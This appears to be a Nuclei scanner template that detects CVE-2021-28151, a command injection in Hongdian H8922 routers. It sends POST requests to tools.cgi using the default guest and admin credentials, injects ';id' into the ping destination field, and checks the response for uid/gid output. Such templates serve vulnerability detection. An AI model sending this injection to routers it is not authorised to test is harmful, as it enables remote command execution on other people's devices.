id: CVE-2021-28151

info:
  name: Hongdian Command Injection
  author: gy741
  severity: high
  description: |
    Hongdian H8922 3.0.5 devices allow OS command injection via shell metacharacters into the ip-address (aka Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28151
  tags: cve,cve2021,hongdian,rce

requests:
  - raw:
      - |
        POST /tools.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 85
        Cache-Control: max-age=0
        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
        Upgrade-Insecure-Requests: 1
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Referer: http://{{Hostname}}/tools.cgi
        Accept-Encoding: gzip, deflate
        Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
        Connection: close

        op_type=ping&destination=%3Bid

      - |
        POST /tools.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 85
        Cache-Control: max-age=0
        Authorization: Basic YWRtaW46YWRtaW4=
        Upgrade-Insecure-Requests: 1
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Referer: http://{{Hostname}}/tools.cgi
        Accept-Encoding: gzip, deflate
        Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
        Connection: close

        op_type=ping&destination=%3Bid

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "text/html"
        part: header

      - type: word
        words:
          - "uid="
          - "gid="
          - "groups="
        part: body
        condition: and